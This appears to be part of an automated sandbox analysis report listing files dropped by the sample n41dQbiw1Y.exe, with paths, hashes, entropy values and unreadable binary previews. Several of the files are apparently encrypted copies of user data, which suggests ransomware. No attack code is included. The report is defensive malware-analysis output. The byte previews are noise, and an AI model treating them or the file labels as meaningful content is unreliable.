Preview:	.......P.DA.8J[hRY.8TP.i.."T......~..c>.Bb,d..Ay.0...C.[F..?.......-'.G#..R..\|....5...^i-b~...Q.D.J......yp(...3!m.@'...n.A.~.e.EbjB.O#..."n.O.M.DeP.. ./.v.Zt......hg..7j........{,..bC7.2MG...h....g\...._...`ZS..',.@.....V.o.82....8J.t.9.......ep...0^...-..#....j('.,..........4..`(W.....U..^Xp....U...Zq.C....f..o..z.P.m.$..&-2Y.........07_..Z..DNC..)%.0.:.....P.>n...'...X}.g.tu..f...U.{]..`...Xn.c.}.....`....%..x..v...a....1.g8.......3.P.:B.b.?.W9..g......}....o....\6....Ma5.+.Z.;...&...HP.B.........?.xH[s..isY....\|..Jf/6D......>3...^.<"...V........JR..(Z..6..L..+.~T..L.....A..+..(n...m.......AD{.j..@.....N...-....x.....\..).s...;.x!C.O..h.c..w.R;t..>........NP..y..Y...pV+.....@...m...AUT..W"pC.h.n.^Ly.s5.F......!.`..Cj.......N...........ug@_....?H....h.......g..4!..1.0..f.......~]....fP.....(..r$.1...W.....#?..2.7.\..l.qYAj....:.w.$F..{o.\.7..Q......^.....D_.0..;.).g&/b....1...V..C..x.5R...ciG..,..R.....D.'.....z...n .r.T.p$+8.Zb......P

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\24153076628.ttf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	237902
Entropy (8bit):	7.239854344995583
Encrypted:	false
SSDEEP:	3072:uaiJ+N+HEgoOcwbFltTUkTTNZ13/XLVRUT14YsOvIuC7L5VNVsQ9SM4Rock:ti8Jg9coFPLJn/Zq2NOgn/zsuV4ick
MD5:	E1698AD8B94ADFC491829371E370F519
SHA1:	C0D65D492E1D268A4DC864C3B14B4EDD85E2F697
SHA-256:	B50503E373A3BE15A21511378BF1A152670D9113FC0BE50EC754E37CDF5CCBDD
SHA-512:	E685CF2366FB9CD14E15A39AC826E960A934F8CC77F2017DFA8A56A398ECC3EC74917A148532B10CD750D1EB9B4CC8ADC126EBF1FFA540363473202384FC72B7
Malicious:	false
Preview:	.......w.o@_5....]Q.=.p.F=....b...%_Q.Y..U+D....._..v..H..o..\|vj.....q.... V........".0KO(5..(.4J...l.........{9....D...C1..T.G.Jg1.<f...\|........~.I.X.....%C...q......j&.\s..;...).Y&...~z1Q4.....8.C...o.e..;....i.C.vF..7`Q...#.....n.7w...eY.I.d............_...{...2.f.&.......p.b.-......6.J..,.%...@.G.>..W.g5.....1.a@..=&..E...3N....3O.....H..\|.....C..h.u.........R..s....S.-..O....K.U-........+..4}........Qq.u....C.d.s.c1.pHg.Kt.%F.\.)G........JA.=.<.6..L...?.Pxf-.h.Jq..e.1t.M.p...si.ha.'.k..(.y.]hK...r...!.......!w.&Wb.{....bg.......}....t.}'.....b.,...W)l....=...D..u...8...#.,l.5.^.."...........`y..... ...v......mgt.1..#...O{.....#.......E..8..k.A.7...c5..x..U..L.H2H.v.......e.t..-...m.Wr.........P.h...(Vr..1..F4. %.d....>%..!.%...i.s.i.x..z.A....)...s.H.. ..Om...FV.H3A\^y.]Y........w...[..k.?.h...Q.$.\.............A.t......E.c..P..hg...o.....,t*5~.\|.Rn..-I.n..uO.P.....e...+.X...U.I....V..HY..].e....WS>..+_.......a....!4...1Qp..y.0..Y

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\30284701761.ttf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	241378
Entropy (8bit):	7.259162274068601
Encrypted:	false
SSDEEP:	6144:QQoikR93iybsBT3Z3WKzF5QSr7P9CJIF8FfOIasMOphDtPcwBs:QxikXSqsBzZ3WaeSXPHyFGBgJtPc5
MD5:	D9D6A643121BECD7B38B24E6CE47296A
SHA1:	A6165F8109261A0839039520160EBC74E5A22237
SHA-256:	B9BBD42E5AC7D3914F7923EE02CB78816D61C132145E4915CCDE09E62AE50F2E
SHA-512:	28A6A895B5D07F5B1D57886FAB3266C0DB407DCE9CE09838305B3C7C735C72A4C4B0A00255671D275D7258F64053DD55166D74249F20E209CF1FB449588E3E87
Malicious:	false
Preview:	.....8..H.&..\^..r....~...o.]........a....E#..{m....n.8O.....hn.\.$.y..F....HUfG....B.om.....hS.4.3..E ./.....U..J):.j.3.......{".3..t.$....@ ]....o...q1........C..z.\|e..a.XG!.gC.vl.N.......\|...\|5X..x..}.zJ...5..w.=...z.1Q+k.1.-.w.a.G...D.$H+?.....?...=O..l.Jb\...k......+.....s.O.PE>}..w,i.=.N...Q.Z........E.....F7...O.F.`..>=./f4c...qm.s......mX..2..$T6...}u.~...)y3>.{a8..5.C.~.aC...@.!}.G.o.;..Q.i....M...h..-..7..hw.w......"....B..>9...o...t...D.fq.....":=.6mNO....V.p9.....@............y...>.N.s..3n.....!"Q.C.50.......Y...h........._..I....G........?rd......{..2.RNC.c..i..\|.Hz.Y.......9.P.P.....1.~.j{..P.X....o+........e.'P..R....i(. \|.....$./xTB..x..["d,...E.XZ.2....L.Y}.\..@..Z...&.7..2..6../*k. ..y..Pu..#..l..)..O......[^.F....Xl2.B.zC..$..E\|:.........W.$r......b.8.py.6..}..&.n.;.2mq..K...K2 3Q.W...;YGWg..........m.\...<...0.4......y..3.O4\|a)......c4.z....`.+.T.D...0R..{>R.FI.d....`+.z.I.w.?(h.O}...J{0.d..Z.....L..FR@.I._.?..b?.X.>

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\31558910439.ttf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	237738
Entropy (8bit):	7.239663737592701
Encrypted:	false
SSDEEP:	3072:8huAq7f9Q3rbTeE9SQ6blqpuihcKdQv1ag7KUwJE7Gb9KemKy1EAsP0UjcX9:843f9CPTPt6uTs71uECVmdqjcX9
MD5:	D5951D24EF53F474E7F8EA9C68AF2E2A
SHA1:	9926BFA2E5D4074373A94B58DD21FC70DC0792FA
SHA-256:	59E9C8A447D56317862A2C0FFCF2806E465D9C2F3237C81A06CCDEE58F831983
SHA-512:	0A19F761574E25088BD59FFC7850B6635B86219983F3812F7CA4078D78520E113D8DB89541CA1BF88880C6373FBA7E003D2EA655976E3EBE6C76BD552503A9D1
Malicious:	false
Preview:	.............M.daX....~..P......GC].....\|.uNn...m..t....2..MP..P...AA...4O.!\.`..)...~hQZ..jJs......G..P.u.k..i...uwC#..O..E...B.v.}......<o.....l...._+.W..........Z..9l...J........WD......^...K.0.......K.wtPc...m.....k.n2.>....6.e...3.!...d._..Y.r.....r(...+\.H..f..]@..._J....7.o.....u..f!...U.bp.....].s....s..T9)!...8.j.8._(..#...5}.NR.....B.....,P......uw...I...+(..j..:.WH.b.......Hl'....215..<(-.....@.....{r..(... {.}..T.......K..1........A....:.]&F....Lb.g.S8Q.2..3pk.2..v...A`..........:..z.\|..6.e.....4..?.....e...'^.G.}.(.-..}..w.%....u@..s.U.a.D."..w.....v<..o....^...7.,4K.Co..0...=........{..UE.e.(_....M.^zV.....-Z...dQ....;'}..8...#.F..~.tZN...3..}..".a.R.".....I7rAH..p....!3b..W...x.G[....P.S..1........u.D.....-.H..-jk"......O...\....O.\|Tt..E\|f....k:2.....P....b........>m.x...05..z..Ks.D.5.Q_%`p..z\|.....`[9.f..l./ckNlr............D...... ...........*<...'.EoO.{.?./..l.x.pr.}v(".....\\|.wX}.....3Sa.52...

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\37262344671.ttf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	240706
Entropy (8bit):	7.265604926769399
Encrypted:	false
SSDEEP:	3072:qeikho9V8Te6ZeW5X3LNLiP12O4GfrXMuqN5tOVS3vG2tc7UvMOTZUqeZ/qs:qoc8TvZh3LNGPJfz6EyNQ6yqU/qs
MD5:	6A87061800F2FF094D416CC47E9A0452
SHA1:	087F1A3CB45084C35AB2F94F871AF7F8D630C322
SHA-256:	5FD2DBB103289B29F2A03D6A4777F671FB61A1357142DB7B2EBC35A44875C318
SHA-512:	2CE92A673892FD89D6237C041C997C6D576A7405A71CCFB0327E6BE49ACDFF97F32AE4A01C7003ABAD7C67E529D5CB843B2BD345956A080DC1C76C38BF1E7880
Malicious:	false
Preview:	.......>`..=x....\|2'.YRww.B...A..ZC...:o../McTA......VS.....(...VPu....S./.V\FP.e...@..1.DP..%.sx....id.<...}.zj...........63...........s...x.W.ZDS.g.....Y.@%..[.@...!l..Y.n@.F..g...=P.;.M..b.WT.z.....a.3-.3=...-.y5..}.(..{J....v....O.a..dT..'....x-P..F.#.....#..u$(.[..w=..i ../..1..`...n....%/..&...%U.s...;?..H.....).-..<.Z....y}{f1.....6.[.....D.......0e.!.I.:..w`..#E...+..........q.r......a..<...k....i...0,j.#l.P..!.._v&..V.. ..I7.HQ......._6.....l./.....-.M.1.......)G&px.}mD.~....O./...y.........?M...\|G...)..A..r[..Z}^..j...c.A.T...;SG.(..2....H.qm..-.(..f...Z.o).......oN...y...?P.....x\9.*.ai..;.}.1..z.1f..&.f.......&.........z...Z.b.......m..w.s^z..-...J+..../..^CM`UO&-D.HE...s]..i..#...Rh..<G+3\.........4!.R.....s..zO........[...T..._.....w...x....n......m..H.Lp.R.#....g.-..R...c..e.a^.&+.l....RQ.?.-\H.qQn.e.M.`..Cu]...!...0....w.`......w.yhN4.`.....,]..t....Pt...>.....d!.p`>..w....t.G..QW....J]S..'._E!o:.0.G.......o

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\27160079615.ttf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	238518
Entropy (8bit):	7.235693829193099
Encrypted:	false
SSDEEP:	6144:OodG03D41/gMvc3iO2f/XSpli+iQxvdb/LIAb:pj3s1/v4YHCZbd3Vb
MD5:	7F1B83273F8A345B8F5D54C5EC8A821B
SHA1:	62FBDE0C120628916CDA223AD1B20EC245294D8F
SHA-256:	A5AFE8D77D3EFF8ED7E3AE682451B0B4DC089DAA1C7DA4CD4D6C2C3E25F112E0
SHA-512:	FB90403A2C7D5834E5FBBEDC0F71B664CEDF609AE1CE9BB2843FBC29FC864DC698EEBCB0ED3108E91495F4EE64984844FF29C2F093B7312D32A9F3E06E7AA93A
Malicious:	false
Preview:	.....5.kjP....[.I..D/2...'...Y...V....v.......Z..?............Ta.u.e8......7]....25..,Y...2(..k.G..Gg....p%.....0..aR..K.+.....47...p.....iq.B..-.q.EW.?c..r......^!.U...y..FR.s..f.L......}s..`.j..;...>.rZ.Q.;KJf...MH..i\|hm.l)ccc..b.Y....ob..6D..R...Q....r.2.X.......?~...W..A.'..Z-...c..^....x....y.>._5gjb.\|^D.L.k...W...]GP...\|..Cw58......j.~..S.6.c...R<B.-.a.aS{..y->.H...Z.Y.dwe...b..;....B....g..?..e..%...........^........:n..u\|q...lx!..#?.P.=?.6e1.K.x.rJ\|n.1......."....f.U.[......X...<..d.z...3.......Ag.....J7@;..xQ..^'......o).A..C/WYJ...%..@.3p W\|l....[.....C...h..F.}.s..6...E.....\.......VE&L#.0.oF..b.Z[A^.z.....1.....v2.d.S.....9..dj...:...........yV.G.#/dAm.DV.`...s.......+..>`.5..._=.e...3......' 4+.xS.4R..........,s]G...b.......).q...t............_..lN...rk........T.-ZX.}.c.T$.....`[.X...N_CH.\|.......AisQ68}.0.uw^...._4.[.h...aU...T1.sG..v..C5==.H.i(.!.{.ie.I.o<.@q..........;..)._df.=..l..{$ .?..R.....qX7.*...37.gZ..~.<.z`.....M5.yA.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\28315153308.ttf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	241282
Entropy (8bit):	7.259751997820572
Encrypted:	false
SSDEEP:	6144:QWIqFOMF7NRrXZlESl9REmr9o7+Ae+Vi0z:eM9zN9RBKn
MD5:	341493A5BD6EEE34D91B5698EDF8FF67
SHA1:	52DC64B88B371FC3D7309C91C1CFF39C004935B2
SHA-256:	5FBCC0210A6E47ED27B95BB61B095FBAADCA5DDA7AE8960F0ED9784B22FE8E59
SHA-512:	FD5EC2137F25EBB642A1D1C2AD2E718EA5345B8728B392B4A02A6BF59E7EB56685AD73C601D7A51D5612E9BBCB1ECD40C897C05C3480D69F4FB9BEB816607125
Malicious:	false
Preview:	........y...>........g.lQ.?7...ND0O.v.......eyiz..(...qe.Y..3..=&.x..?..$.F..t..,.6.8..Z,....E+H......C.H..}m...%.w.M..P..r...O....V..&....@'S.C^.$"....3K...;Dy.....E.ls...\...u."....:-.............q......W\,[eC....!...:.=_6ssM..]>..A....p'.2...5.D_.7.JW.S....Hs.Z.D...s-./=iV......2;i."&..fD........H...B.@..w.{..L.Y5.~.ki6....d..s...[.U...............]A..6..... ...at.4....1.Qq.D^KS.k%...J..;..AY....T].1.........r..4..I("w.r,.FO..E'.D..M....:.[.C.&...TR.S..P.1.3..X..F.......b.x+.([/(...P;.Q!.,VH!OA)..B_.+y.y.4.s...\....X..w.G.s..{d.~:...p...(Y.I].J.#z.C..Q...K`...C\|,s.D?-.i9..Bh..&J5m.E..Q]...t....:4c.~....5.....!.5.....[-..p.9(a......2<(..QU\|..1..i.-...=...N...Q{-Y......a...w7}&.....B..[px.YEk.P.<.t.#.b....fOT!.....>q......6L.......Q..R....3+.8....u1..G.f...w."...H..QL.(..AG.........u...02.Z..{.yV.N.....+...m"Q...qSn..wLY&..[u.E....'.q..F..LH$.L.;...x...8.DZ.<..wl.9.kT.c..d.6...'`.H.L#.......D.\.#...vR..>0.P.#dy....R.V......~........

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\29939506207.ttf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	237946
Entropy (8bit):	7.233927257371005
Encrypted:	false
SSDEEP:	3072:ZIRakOcsVty8gqPeReY64m5tC/jje5yp9D6LeGrANKsQryJtukIO2Nppdj+cdUAO:PkOcT8peRGc/eskkQWPQOa/dKF2Ah
MD5:	1E9B8F95AB338F6F2F89788C8BD6F3A4
SHA1:	8356C673748DD28E9567B7E074575A8E7F98859C
SHA-256:	9C46F48F7B6CF7D5E12E8926DDC8C6F5222D2887A533F94A819B67A7028A45A9
SHA-512:	CF01B3C2835397C1F4D3C96069DA7E6BB1416DF1F565B4E921A5EDD9F4088304109F306A9B66260DDB6673FB39AC21B6B49B069B4F95E62BAE03EC016C9ED86D
Malicious:	false
Preview:	.....>.+.."...".[......P..........a..:u.R....pj........J......^p.).U..'f&.!<5v...^.....q"...Ft.r..3".@.N8.b`Q.uE..[...8&....\|4....N.........6...x...v.!.<..$%p.P..D>..1G.9D7..A.53<...R2`I.WG.;...i.9,_.a...u.Q.a5.I...N...%.(.q.@.=...B...pM..;..S...4.y....l4..... .A......)Qo.W...Ig=.".....h..m...&P...r..mf......6.x$dr..`.j....Vh..S..K.#..G.....bi.B..z.v...tM........o..IA`.q.6.p...&..pf<...A4....H...q.HQN......D..[....:.J..H...q.R.b^..Q..S...8...\.oQ.L4....x]..g...My..X..qXB...n..BK.j.!$8..\|.............Z..Uo.x.....C.M.,.#'S...VG..z......../.q.b....pk.&..G...tx.Tn....c...w.e...:...!.o..X....Z2hE.......uL.R..}.P..N[.....@.~.X..j>....+o..U...!..H.i=....SH...... .j.r.`......_..A26.N...O ..Y._.uK....R..tG.%...9.p........%.......7...{.T~..K.....A...M.g....9Z.u...f'n.t...s>.^y...N^".=k...2...].x.1....V....d..fZ]...\|:W....n..h.DHcT;HO.]d.w.....r.....:e.."..AQ.-Q7.2...0v..S..Z..........(..k....P...GV.....dp{.;.....O.e.;..1 ..J.V.m..0..[C:..=..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\31169036496.ttf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	240470
Entropy (8bit):	7.265120700285027
Encrypted:	false
SSDEEP:	6144:O/IqUB78vFS4XbPWWQRzr/+EyD5Tsw1DB58:O/IqUB76BL+brmjTDw
MD5:	3B7DA522C0C91FA2E9CE079599F66AEA
SHA1:	06F175CC45F1141881DEFDEE30D8F5040B7345A2
SHA-256:	2D035914B050F8C36E9F0F28F0ECD5EEE5FD0791DE62601396CF229924153B65
SHA-512:	549EA5A1D08C56625C32C87FFB69140C3989A1FD853B3595B9086ED374C02A8A349121C76472A8204E06CF3CDD9A7729EEDCA2CD077EA70BA2C83432798D5288
Malicious:	false
Preview:	.......n...M?la..Q2...,.......Z..Yi.0fY..;.).;.U#.i..<U....Y$/..m......S.F.fC.....(.l>R..N.i..}..0..'.a....b]..o...?W`.:0.A.s2.plr..ox......m.6.m5....^.@....$u.%..D.._.b:qQ...........<..a?}LNC.R.J.y.{.~.^....Y.Pu.'..h,.%*U...F]\|..7.....;]/....`...!..#......F]...rf....].[y.....Q............. r.o.>.s....c.q.........U7.x..qLkE3)`.t..j.....9......@x..)..>....S.....IN....-?..m..`...%......1..v..<..3/=.j......._X'$p.....R....Z`..B...c..D.t..$B...[GU.".:.........P._U.'.i,.&..I$.%.p.S,.XZ..gk.E..R.P..mf%cv.X......~...-..z=S}w-...+K.j.t.V.%^}.~,..r...R.....j.o.T.....P..Tz..g........3.....xD.3.^....:...f..:..6...n...#.......~........-......$W..i.>m.D...H..^Zwr.I...s.LPN/.y^.,.lB..M.yQ.E..%..(.n...\|.O.aK9....J..V.....7+..:..0.x.!...t......U..[.0.5k.1Bj...z..9k...!....efQ.r.c. ....vG.A..(....S6....6.,.^..H.>..'.)8T.....d.D...b.5....A....k...... ....H.F.A..X.J.r,.{&...%.~.@..0...ra.;@Q...;m......`_y..Phn.VMw.......^. .%J.'.;.......{...K5#.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	6906
Entropy (8bit):	7.972893290183527
Encrypted:	false
SSDEEP:	192:VB7KOMG+jXUnBFC/i57GTPEjpwT9ttODGeIhL+SwnqO:nvBFC/i5GMlwT9ttODGeIha
MD5:	ECBEF1C127E278096425FF6F022C5FFD
SHA1:	1A12691CAF58C53FB4580B3DB93495D33BA7FD9C
SHA-256:	1A4375FB268B5CC802B55B47E8217C5C623E04FA6E8BFD1FDD7016C779BC7DC4
SHA-512:	BC45B062C7E8BDCAAD9AC90F5D8EF7EE54356DF11329DF1E9E164BA85A15B15A0D05B6879D972F6EEC24BE1FAE65009CE35D912B5167D3FBD47024E52C8ABE43
Malicious:	false
Preview:	10/03;.<D..v..Qa.AD...]:..\|S..2q4...b....._..a...}k..W..;U.e1....&Qy.z..a.$8.>qG.Z.> ,ru...8.'{.v.../.,u ....BIq.....?.9.....{.J........W..)5Z13.2.n..._.i.q.Xe....#%..-7.....E..;:...c~.5..u.n .8P..4&Y...hGjA........H.....o.k..b.....h.W....B2.#]R.......{...f......m..P..+\|j....9^+.....Q....:....\..8$.5..V<..WHp...s..].Y..>..?...q.D...'8..Hz8.3]...D...a',..gA..T.a.........B{.c...o....&......3.:.g{....F.."..^..Is........]G..KlIyTf...........#..i...@.Z.q_.....(?.g.g......b..;7y.R.d.e.I...VQ....~^(.-....n.1..&..X.w@\|..2..9b...@j...GE....{...,.-...T1....E....'....w..nk..M\..C...c...3p>k...i$.2.:.9..........c.\..K~5Px..b..ym....&$..;XM.Q=J...V..........Kw..cD`uL..i......(..........@R!.(./.\|r.v....1._.....9M..\.......O^a....9...qe.S.[.V.1P....A+p[.j1.2...].G34[.D..{.?5[......H.T#<~Q.m..\...\|*...s.2(.M..5..R..4.....V..WT...R.S,UY.Y.....{~a.#.4.B.X.....=.z.q+........`#_.....%.9....!.H.S.... ,.#_-:../../..<..X..QR9..oA.."..8"...?..q.#@;\|H,..L...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.743120920996709
Encrypted:	false
SSDEEP:	24:Qx6Fmgpt9hk5fJcvQKUJY/5U7aq0Cd6gs3NyTbD:llVyYha0CdkwHD
MD5:	ACD6ACC946B4CE8080C9057C5BF6A7B5
SHA1:	B7B598ECE90C479A3B80BC34B278A49FDEFA86C2
SHA-256:	2320D8BB3649727AE16B700CDD52DDBD25FA8A0CD115DBF50DFF79C67632D90C
SHA-512:	795E96E646C0F5C84E4B2D485282279203E60062C63410DE1B6676B3B831379349BECF35FE4E2B0138373E6810C055558006DFE4B4B3F9BE4FBA70EC428D1C87
Malicious:	false
Preview:	..1.0.D......H.&\.:S5$y....o....Vu.p.i#.9.bU...OS...[..$.P...t....1q..O.Y...\xd.bVFtk@....e7..F\|..?...r..-....Y{.v.`.W........0.....#d.M.T:.l..}9.e.3..9X....t7-. .a.>..sB..\u.......?.c@4...P\......W...w..."\......rA.=.1...l.f0..x)a.I..`/Gb{.#s;L+n3>=....}O..e.t.P..U.J=......BI@R....^LH....\|........?..j.s.Z....@7.........WR..0..V.d.y......'.2V .e...f'..5..#2..#....{$.-.....r8.?..?....{(=./.U...Fp...:x....\|.6N....5un..=.(Lj......?hQr/.Aa...j.`Y..;:..I......j...z..egT/ 2.Tt..v.."....I...Y3.I>0b5....3&...Y..W2 ...T.g~....bZ..k.I.....w.......n.g~..g.LP...!K.~.^1.8Z...!ue.j.y..,.G...{.]OS...Ss.......O..i..r..{7..?.5:..X.p:y..D....y....~Wq..D..-..-........Z.0.v...]..u...-m..aA.".4......wA.y...5.9A.e......{.RA../.9^..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.889710846935959
Encrypted:	false
SSDEEP:	48:+7jB55bXbhWNrQwm35vI2+IxKrBDyALmpD:gjBTn0NrQwqFxKlrs
MD5:	70218C3F4CCC17118498457E2B06FC5E
SHA1:	7406710564621C7A8252550058DD070B221DF106
SHA-256:	46A938D310B8A589102FA47ED8EB97298B303650643A0931FE6DFF7ADB5493D5
SHA-512:	054BEDB384DA138C8BB7D1858621196EBBFA58C282A5C7FA3CFE5E3F1D58A245AA83018C2B9F3E68B271FA4EFEC9A5920F061009E3B3AFADA5C95A009E20AEDA
Malicious:	false
Preview:	..1.0.!=!......7..qFA...o...-h6.")...h...A[qc@..h.,.~..Sh...&..G..).V.0...Z..F...".\|........9...GEr.._..j".~.......6...c..m.......`6.:..R?.u`G.....o)..-.k.{..N-x.\|~..9..K...7.S.U..+..-.N..'...sJZ8............b......Y...:.>.~ ....p..W..Vg..o....z&..K......;EN.xK._]...%X2U..+g.g-.....`.5......0;...(.H....#.tegcE/DNI..#.vu....Z.o..J{.@..&3@z\| ..D........T..D..#.....xL.)(f.E0.;..=QV.>K.4.....?j....j.nAd`...=.y#.....)..ST.\R....7@.i..N.-.%..qs....9..8R.8b.\|B...}<.V...ML...Y.T...Q.h.R.\....%i"H...%.P.y.!..{......kAB.Q.B.....m..7....5.&n$...h....`......&^.5....>m....$ec..Db~#....i.....g..l.q.1.9.e.Z....p9a#J.....0..b!'.l\.........-..2.b@.;B.f..y.4M...u....>.ZM........>+.S.Y\|...8.H.#...u.^k....u. .=/_nR-.T...ky.,..n...M.I..^...6q.2....tt.I9vThe/F.B.\|.sp..#0.5.....G....,.....m......-.G-.._....64.`.l.7s...+...=..6.a!2........T.;..\|1.(...S.v...B.B.$.Z...r..<!.ij.}...q.yE......k.]......H.k."..~.rz.H...r..@..B..M..$.Y(j.$c.@..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\01_Music_auto_rated_at_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	7.887925223219479
Encrypted:	false
SSDEEP:	24:B2vxEgxatEIlVNkB/ZfywSDWQanI+wBIKt2VCuJ7Iok+yTLug+TyKtXebD:BMBauUUBRfa6xI+w2Kt2EWyTLdyMD
MD5:	C82314C2BD214C81BD2BB1954A89147C
SHA1:	6FEEF2DFD0BC0B5C968E216689D74905F5E28E99
SHA-256:	C38A60893FF1B298176F0C53AA7EC5C0A3D75E62DEE1E20EAF69788350C71BA6
SHA-512:	A8991F65AB97725396BF8271B766B0BBA350FD4DF24D9B0E26C27524B144B887E5BB56EF4A871382FD2D20C7439C2DC4EC3C2F34C229C4642DD16866E8FF4C90
Malicious:	false
Preview:	<?wpl...};f.`.v"9..U.5.=1.M.;],M...n..Yi{...q...p..Qv.L\.\.?_.j..<........4=N...........-.v.Q.o..\|.l..a.G..o...t..P.BQ.:ao.M.../.6._k......U..S'.....Bw...#.h.u.g..i.:.H../..=.-.....O......:m.h....#..+..@.5e..J.OQ`(..U.A...D.......B....~.wN..7;U........f'..r^..E..u&.../..6.i...`....I...e...5rs.{......./...P.....#.x..#.z1...6....~x\.9......[..T....S...n5........gT.1......._.^..t.R...F..mH@...C.r.V.....(..+.p.=..B...0nNM]n..0....u..,x.>..x...2e...%d.\...3E...`.t.^y;A%.eyUL..\|..b.g^#$..u..J....h..Q.V\..h..A......-/@W..5..,.r'.v../.=..].....8...E..H...v. ..9...'.C...b..n85C...........'.x..(.BH{...S.c.4'+e....)a.2..Q.;$....F..G..\.Y.E...zC..22U.Y.....tMa.....B......,~.4..r}.b.;;...1)M.}..[>.1...G....Z........>W.d*=.......v. ../..?...5.0....`.-.{K..O.$...f>:.j{...>.e%.3...R.^.1......}...s..j.B`Vjv.... ..p.c3@..A......r.....>I.F.T.pt..0....+.~..#.nb...X...)......{.q...l....-.<.-.@fqP...r...........T. E6.....@...q.J\|_oZ.d..uA.W'?..o..s..w......7.:j$.7

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\02_Music_added_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	7.857278746729878
Encrypted:	false
SSDEEP:	24:dCvAANCGNvNmPkJRwBR5jmfpncCRVxiI+HEncB+V5CqVt57bQF4R2IL1cJEgOTH/:APmYw/gFcCmHEnvt5nehWOJEgWbPD
MD5:	994BFF22C30891DBF6662EAD965DBD3B
SHA1:	169CBFFEC2774B8214174543CAE24ACA96805517
SHA-256:	0960E1F05177FD39E19480047A4179BEB07074D40636FCACAE552E2F65B0BB17
SHA-512:	482360A37E1BF6631A933AB50C484233DA43D0A4A84D4382D36E05D94C58E83466BD38727551C5FBF701B824AA82F2C3E671A29D326ACDA74C5F12EE9D987BA8
Malicious:	false
Preview:	<?wpl...O...q..,.u..^.'jHh.@=mB....."A..X..^.H C..3_....q.=.<.D..ZF.............a..t.........l#8... \......2$.?.J.u0&-......'Mu%H..aN...3.~.....Xh.b.-..<3..d..;..>...d.....9...=}/{$,...g.^yz.....#.N..)a.=.E....Af^...\|..'..._.......I...V.70.iL......bNe...O.D...L......f./fh9i.m.:. .nQ...........t_J.6.....7.nl.6..(d.3&^..OGFN...........U'..w.(..@F..j.d.-...w.+O.....Gw..m..-+-...._.._..A.q. ..6...g..W........F+.A.a........!M....~lLd-....]('..3Cv..K.9@&.2.mR...L.z.....6.n..C5.....)..4#\|.uF.d...B.bA.%....G..y..@.. .D.:k<......H.9A.....a_..{...B~..uDy..p..A.A..5.;.....X@H.@..3M.3:.__KmuQ2K.B....Fs&.!U.zw}.(.W'.%C."\|...)<.(...7..N&.n.~/..._U?.A.......&..!0r...Zq..dw...EE4;.R..[.Z...g....m;.{./5W..=p..;..C.de..Q.. .....:.._E.Q.6..kO..".v....B..P..mYi...3.h..J.,^...TdU.p.. Km.jB.G1....>.2..m.ZGC".<z..M...``...#...7.5~....%}@.'.F...};G..6.cT...[!.D.&..wc1....2.]F*.....h.xn....V..;..B.V.:..N./{......'..3.lX..@An.k.1+.?X"..5C1......;\.l^zm`..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\03_Music_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	7.8959473886915434
Encrypted:	false
SSDEEP:	24:b+m6gk9RNeyllCiZjkL9x2jt5xw7b8eqpur9Jw2ZOwtECuXzyZGzhyfC1b9bD:Km6gQeAtkL9x2p5xSb8BupTyLyK1xD
MD5:	A21C8983EB82B46957BB5CC390DBD910
SHA1:	571E6BF327C7426FF6BE1B971539F5F1E74EFA80
SHA-256:	1625CD74660BE3B5A9667B1779ADE7DD3182F03CEA4CF1206B28A80A6B076893
SHA-512:	D134DF55D27C8AEB1DBA80C626520DFDAF821F2C08943B2ECB6EB29C893A17921345AC948C2D352F346833F0BAE2A391E2C704E045927ED9C4CC9B70E5FFA514
Malicious:	false
